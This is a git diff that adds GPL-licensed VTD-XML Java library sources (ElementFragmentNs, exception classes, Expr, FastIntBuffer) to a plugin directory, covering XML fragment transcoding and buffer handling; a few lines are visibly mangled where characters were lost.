VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws,1,ba,os1,2); + ost.write(ws,1,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a = and 0 + //System.arraycopy(ws,3,ba,os1,2); + ost.write(ws,3,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + ost.write(ws,1,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + ost.write(ws,3,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + ost.write(xml,os+temp,len-temp); + } + /** + * + * @return + * + */ + public final long getOffsetLen(){ + return l; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/ElementFragmentNs.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/ElementFragmentNs.java new file mode 100644 index 0000000..60e6e85 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/ElementFragmentNs.java @@ -0,0 +1,621 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +import java.io.*; +/** + * ElementFragmentNs is class representing namespace compensated elementFragment + * its constructor is protected, only intended to be called by getElementFragmentNs(). + * + */ +import com.ximpleware.transcode.Transcoder; +/** + * ElementFragmentNs represents a name-space compensated element fragment + * + */ +public class ElementFragmentNs { + VTDNav vn; + long l; + FastIntBuffer fib; + int stLen; // length of starting tag + int UTF_8_Size; + int ASCII_Size; + int ISO_8859_1_Size; + int UTF_16_BE_Size; + int UTF_16_LE_Size; + static byte[] ws; // a few byte patterns for white space and '=' + static{ + ws = new byte[5]; + ws[0]=0; + ws[1]=(byte)' '; + ws[2]=0; + ws[3]='='; + ws[4]=0; + } + /** + * + * @param vn1 + * @param l1 + * @param fib1 + * @param len + */ + protected ElementFragmentNs(VTDNav vn1, long l1, FastIntBuffer fib1, int len){ + UTF_8_Size = -1; + ASCII_Size = -1; + ISO_8859_1_Size = -1; + UTF_16_BE_Size = -1; + UTF_16_LE_Size = -1; + vn = vn1; + l = l1; + fib = fib1; + stLen = len; + } + + /** + * Transcode the ElementFragmentNS object to a byte array according to the + * destination encoding format + * @param encoding + * @return + * + */ + public final byte[] toBytes(int dest_encoding) throws TranscodeException{ + if (dest_encoding == vn.encoding){ + return toBytes(); + } + // find out how long the output bytes are + byte[] ba = new byte[getSize(dest_encoding)]; + + int os = (int)l; + int len = (int)(l>>32); + int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + Transcoder.transcodeAndFill(xml,ba,os,len,vn.encoding,dest_encoding); + return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + int outPosition = 0; + // transcode and fill the bytes + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp = (stLen + 1) << 1; + break; + default: + temp = stLen + 1; + } + // transcode starting length + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, os, temp, vn.encoding, dest_encoding); + + //System.arraycopy(xml, os, ba, 0, temp); + + //namespace compensation + os1 += temp; + + int tos = 0, tlen = 0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws, 0, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,0,2, vn.encoding, dest_encoding); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i)) << 1; + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml,ba,tos,tlen, vn.encoding, dest_encoding); + os1 += tlen; + // write a 0 and = + //System.arraycopy(ws, 2, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,2,2, vn.encoding, dest_encoding); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i) + 1) - 1) << 1; + tlen = ((vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws, 1, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws, ba, 1, 2, vn.encoding, dest_encoding); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i)) << 1; + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff) << 1; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + // write a = and 0 + //System.arraycopy(ws, 3, ba, os1, 2); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,3,2, vn.encoding, dest_encoding); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i) + 1) - 1) << 1; + tlen = ((vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2) << 1; + // System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,1,1, vn.encoding, dest_encoding); + os1++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + outPosition = Transcoder.transcodeAndFill2(outPosition, + ws,ba,3,1, vn.encoding, dest_encoding); + os1++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, tos, tlen, vn.encoding, dest_encoding); + os1 += tlen; + } + } + //System.out.println(new String(ba)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp = (stLen + 1) << 1; + break; + default: + temp = stLen + 1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + outPosition = Transcoder.transcodeAndFill2(outPosition, + xml, ba, os + temp, len - temp, vn.encoding, dest_encoding); + //System.out.println(new String(ba)); + return ba; + } + + /** + * Return a byte array of an element with namespace compensation + * in its orginal encoding format + * @return + * + */ + public final byte[] toBytes(){ + byte[] ba = new byte[getSize()]; + + int os = (int)l; + int len = (int)(l>>32); + int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + System.arraycopy(xml,os,ba,0,len); + return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + System.arraycopy(ws,0,ba,os1,2); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + // write a 0 and = + System.arraycopy(ws,2,ba,os1,2); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + System.arraycopy(ws,1,ba,os1,2); + os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + // write a = and 0 + System.arraycopy(ws,3,ba,os1,2); + os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + System.arraycopy(xml,tos,ba,os1,tlen); + os1 +=tlen; + break; + default: + // write a ws + System.arraycopy(ws, 1, ba, os1, 1); + os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + System.arraycopy(xml, tos, ba, os1, tlen); + os1 +=tlen; + // write a = + System.arraycopy(ws, 3, ba, os1, 1); + + os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + System.arraycopy(xml, tos, ba, os1, tlen); + os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + System.arraycopy(xml, os + temp, ba, os1, len - temp); + //System.out.println(new String(ba)); + return ba; + } + + /** + * getSize gets the byte length of ns compensated fragment in its source + * encoding format + * @return the byte length of ns compensated fragment in its source encoding format + * + */ + public final int getSize(){ + //int encoding = vn.encoding; + int len = (int) (l >> 32); + if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + if (vn.encoding < VTDNav.FORMAT_UTF_16BE ){ + len += (vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4; + }else{ + len += ((vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4)<<1; + } + } + return len; + } + + + /** + * This method returns the size of the transcoded byte representation of + * the ns compensated element fragment + * @param dest_encoding + * @return + * @throws TranscodeException + * + */ + public final int getSize(int dest_encoding) throws TranscodeException{ + //int len = (int) (l >> 32); + + /*if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + len += (vn.getTokenLength(k) & 0xffff) + + vn.getTokenLength(k + 1) + 4; + }*/ + if (vn.encoding == dest_encoding) + return getSize(); + //int src_encoding= vn.encoding; + byte[] ba = vn.getXML().getBytes(); + int len = Transcoder.getOutLength(ba, (int)l, (int)(l>>32), vn.encoding, dest_encoding ); + + if (stLen != 0) + for (int i = 0; i < fib.size(); i++) { + int k = fib.intAt(i); + if (vn.encoding < VTDNav.FORMAT_UTF_16BE ){ + + len += Transcoder.getOutLength(ba, vn.getTokenOffset(k), + (vn.getTokenLength(k) & 0xffff), vn.encoding, + dest_encoding) + + Transcoder.getOutLength(ba, vn.getTokenOffset(k+1), + vn.getTokenLength(k + 1), vn.encoding, + dest_encoding) + ((dest_encoding>32); + //int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + //System.arraycopy(xml,os,ba,0,len); + ost.write(xml,os,len); + return; + //return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + ost.write(xml,os,temp); + //System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + //os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws,0,ba,os1,2); + ost.write(ws,0,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a 0 and = + //System.arraycopy(ws,2,ba,os1,2); + ost.write(ws,2,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws,1,ba,os1,2); + ost.write(ws,1,2); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a = and 0 + //System.arraycopy(ws,3,ba,os1,2); + ost.write(ws,3,2); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + ost.write(ws,1,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + ost.write(ws,3,1); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + ost.write(xml,tos,tlen); + //os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + ost.write(xml,os+temp,len-temp); + } + + /** + * Write the transcode byte representation of an ns-compensated + * element fragment to the output stream + * @param ost + * @param dest_encoding + * @throws IOException + * @throws TranscodeException + * + */ + public final void writeToOutputStream(OutputStream ost,int dest_encoding) + throws IOException, TranscodeException{ + if (vn.encoding == dest_encoding){ + writeToOutputStream(ost); + return; + } + int os = (int)l; + int len = (int)(l>>32); + //int os1 = 0; + byte[] xml = vn.getXML().getBytes(); + if (stLen==0){ + //System.arraycopy(xml,os,ba,0,len); + //ost.write(xml,os,len); + Transcoder.transcodeAndWrite(xml,ost, os,len, vn.encoding, dest_encoding ); + return; + //return ba; + } + int enc = vn.getEncoding(); + int temp = 0; + + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //ost.write(xml,os,temp); + Transcoder.transcodeAndWrite(xml,ost, os, temp, enc,dest_encoding ); + //System.arraycopy(xml,os,ba,0,temp); + + //namespace compensation + //os1 += temp; + + int tos =0,tlen=0; + for (int i = 0; i < fib.size(); i++) { + //System.out.println("i ==>"+fib.intAt(i)); + switch (enc) { + case VTDNav.FORMAT_UTF_16BE: + //write a 0 and ws + //System.arraycopy(ws,0,ba,os1,2); + //ost.write(ws,0,2); + Transcoder.transcodeAndWrite(ws,ost,0,2, enc,dest_encoding ); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a 0 and = + //System.arraycopy(ws,2,ba,os1,2); + //ost.write(ws,2,2); + Transcoder.transcodeAndWrite(ws,ost,2,2, enc,dest_encoding ); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + break; + case VTDNav.FORMAT_UTF_16LE: + // write a ws and 0 + //System.arraycopy(ws,1,ba,os1,2); + //ost.write(ws,1,2); + Transcoder.transcodeAndWrite(ws,ost,1,2, enc,dest_encoding ); + //os1 += 2; + tos = vn.getTokenOffset(fib.intAt(i))<<1; + tlen= (vn.getTokenLength(fib.intAt(i)) & 0xffff)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a = and 0 + //System.arraycopy(ws,3,ba,os1,2); + //ost.write(ws,3,2); + Transcoder.transcodeAndWrite(ws,ost,3,2, enc,dest_encoding ); + //os1 += 2; + tos = (vn.getTokenOffset(fib.intAt(i)+1)-1)<<1; + tlen= ((vn.getTokenLength(fib.intAt(i)+1) & 0xffff)+2)<<1; + //System.arraycopy(xml,tos,ba,os1,tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + break; + default: + // write a ws + //System.arraycopy(ws, 1, ba, os1, 1); + //ost.write(ws,1,1); + Transcoder.transcodeAndWrite(ws,ost,1,1,enc, dest_encoding); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i)); + tlen = (vn.getTokenLength(fib.intAt(i)) & 0xffff); + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + // write a = + //System.arraycopy(ws, 3, ba, os1, 1); + //ost.write(ws,3,1); + Transcoder.transcodeAndWrite(ws,ost,3,1, enc,dest_encoding ); + //os1 ++; + tos = vn.getTokenOffset(fib.intAt(i) + 1) - 1 ; + tlen = (vn.getTokenLength(fib.intAt(i) + 1) & 0xffff) + 2; + //System.arraycopy(xml, tos, ba, os1, tlen); + //ost.write(xml,tos,tlen); + Transcoder.transcodeAndWrite(xml,ost,tos,tlen, enc,dest_encoding ); + //os1 +=tlen; + } + } + //System.out.println(new String(ba)); + switch(enc){ + case VTDNav.FORMAT_UTF_16BE: + case VTDNav.FORMAT_UTF_16LE: + temp= (stLen+1)<<1; break; + default: + temp = stLen+1; + } + //System.arraycopy(xml, os + temp, ba, os1, len - temp); + //ost.write(xml,os+temp,len-temp); + Transcoder.transcodeAndWrite(xml,ost,os+temp,len-temp, enc,dest_encoding ); + } + /** + * Get the long encoding the len and offset of uncompensated element fragment + * @return + * + */ + public final long getOffsetLen(){ + return l; + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/EncodingException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/EncodingException.java new file mode 100644 index 0000000..c425357 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/EncodingException.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Signals character encoding exception during parsing. + * Creation date: (2/2/04 1:08:09 PM) + */ +public class EncodingException extends ParseException { +/** + * EncodingException constructor comment. + */ +public EncodingException() { + super(); +} +/** + * EncodingException constructor comment. + * @param s java.lang.String + */ +public EncodingException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/EntityException.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/EntityException.java new file mode 100644 index 0000000..0693213 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/EntityException.java @@ -0,0 +1,37 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +/** + * Signals exception conditions for any invalid entity reference during parsing. + * Creation date: (2/16/04 4:10:05 PM) + */ +public class EntityException extends ParseException { +/** + * EntityException constructor comment. + */ +public EntityException() { + super(); +} +/** + * EntityException constructor comment. + * @param s java.lang.String + */ +public EntityException(String s) { + super(s); +} +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/Expr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/Expr.java new file mode 100644 index 0000000..5d20b6f --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/Expr.java @@ -0,0 +1,119 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +import com.ximpleware.*; +/** + * + * This is the abstract class on which all XPath expressions + * are based + */ + +abstract public class Expr { + + abstract public boolean evalBoolean(VTDNav vn); + + abstract public double evalNumber(VTDNav vn); + + abstract public int evalNodeSet(VTDNav vn) throws XPathEvalException, NavException; + + abstract public String evalString(VTDNav vn); + + abstract public void reset(VTDNav vn); + abstract public String toString(); + + abstract public boolean isNumerical(); + abstract public boolean isNodeSet(); + abstract public boolean isString(); + abstract public boolean isBoolean(); + + abstract public boolean requireContextSize(); + abstract public void setContextSize(int size); + + abstract public void setPosition(int pos); + abstract public int adjust(int n); + //protected boolean cacheable; + + abstract public boolean isFinal(); + + + public void markCacheable(){} + public void markCacheable2(){} + //public boolean isConstant(){return false;} + public void clearCache(){} + // to support computer context size + // needs to add + //abstract public boolean needContextSize(); + //abstract public boolean SetContextSize(int contextSize); + /*final protected int getStringIndex(VTDNav vn){ + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_ATTR_NAME) { + a++; + } else if (vn.getTokenType(a) == VTDNav.TOKEN_STARTING_TAG) { + a = -2; + }else if (t == VTDNav.TOKEN_PI_NAME) { + a++; + } + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + }*/ + + protected int computeDataSize(VTDNav vn){ + int i = vn.context[0]; + if (vn.shallowDepth) + switch (i) { + case -1: + case 0: + return vn.vtdSize; + case 1: + return vn.vtdSize / vn.l1Buffer.size; + case 2: + return vn.vtdSize / vn.l2Buffer.size; + default: + return vn.vtdSize / vn.l3Buffer.size; + } + else { + VTDNav_L5 vnl = (VTDNav_L5) vn; + switch (i) { + case 0: + return vn.vtdSize; + case 1: + return vn.vtdSize / vn.l1Buffer.size; + case 2: + return vn.vtdSize / vn.l2Buffer.size; + case 3: + return vn.vtdSize / vnl.l3Buffer.size; + case 4: + return vnl.vtdSize / vnl.l4Buffer.size; + default: + return vnl.vtdSize / vnl.l5Buffer.size; + } + } + } +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/FastIntBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/FastIntBuffer.java new file mode 100644 index 0000000..daf403f --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/FastIntBuffer.java @@ -0,0 +1,467 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware; +import java.lang.IndexOutOfBoundsException; +import java.lang.NullPointerException; +import java.lang.IllegalArgumentException; +import java.util.ArrayList; + +/** + * A fast, unsynchronized, chunk-based int buffer + * + */ + +public class FastIntBuffer implements IIntBuffer { + /* bufferArrayList is a resizable array list of int buffers + * + */ + public final static int ASCENDING = 0; + public final static int DESCENDING = 1; + private arrayList bufferArrayList; + + /** + * Total capacity of the IntBuffer + */ + private int capacity; + + /** + * Page size of the incremental growth of the Int Buffer + */ + private int pageSize; + + /** + * Total number of integers in the IntBuffer + */ + protected int size; + private int exp; + private int r; + /** + * FastIntBuffer constructor comment. + */ + public FastIntBuffer() { + size = 0; + capacity = 0; + pageSize = 1024; + exp = 10; + r = 1023; + bufferArrayList = new arrayList(); + } + /** + * Constructor with adjustable buffer page size of the value bfz + * The actually page size is 1<>exp),//+(((size&r)==0)? 0:1), + bufferArrayList.size - 1); + lastBuffer = (int[]) bufferArrayList.get(lastBufferIndex); + } + + if ((this.size + int_array.length) < this.capacity) { + //get the last buffer from the bufferListArray + //obtain the starting offset in that buffer to which the data is to be copied + //update length + + //System.arraycopy(input, 0, lastBuffer, size % pageSize, input.length); + if (this.size + int_array.length< ((lastBufferIndex+1)<> exp; + int z; + for (z=1;z<=k;z++){ + System.arraycopy(int_array,offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, pageSize); + offset += pageSize; + } + // copy the last part + System.arraycopy(int_array, offset, + (int[]) bufferArrayList.get(lastBufferIndex+z), 0, l & r); + } + size += int_array.length; + return; + } else // new buffers needed + { + + // compute the number of additional buffers needed +// int n = +// ((int) ((int_array.length + size) / pageSize)) +// + (((int_array.length + size) % pageSize) > 0 ? 1 : 0) +// - (int) (capacity / pageSize); + int n = + ((int_array.length + size) >> exp) + + (((int_array.length + size) &r) > 0 ? 1 : 0) + - (capacity >> exp); + // create these buffers + // add to bufferArrayList + + //System.arraycopy(int_array, 0, lastBuffer, size % pageSize, capacity - size); + System.arraycopy(int_array, 0, lastBuffer, size& r, capacity - size); + + for (int i = 0; i < n; i++) { + int[] newBuffer = new int[pageSize]; + if (i < n - 1) { + // full copy + System.arraycopy( + int_array, + pageSize * i + capacity - size, + newBuffer, + 0, + pageSize); + } else { + // last page + System.arraycopy( + int_array, + pageSize * i + capacity - size, + newBuffer, + 0, + int_array.length + this.size - capacity - pageSize*i); + } + bufferArrayList.add(newBuffer); + } + // update length + size += int_array.length; + // update capacity + capacity += n * pageSize; + // update + } +} +/** + * Append a single int to the end of this buffer Instance + * @param i int + */ +public final void append(int i) { + + //int[] lastBuffer; + //int lastBufferIndex; + /*if (bufferArrayList.size 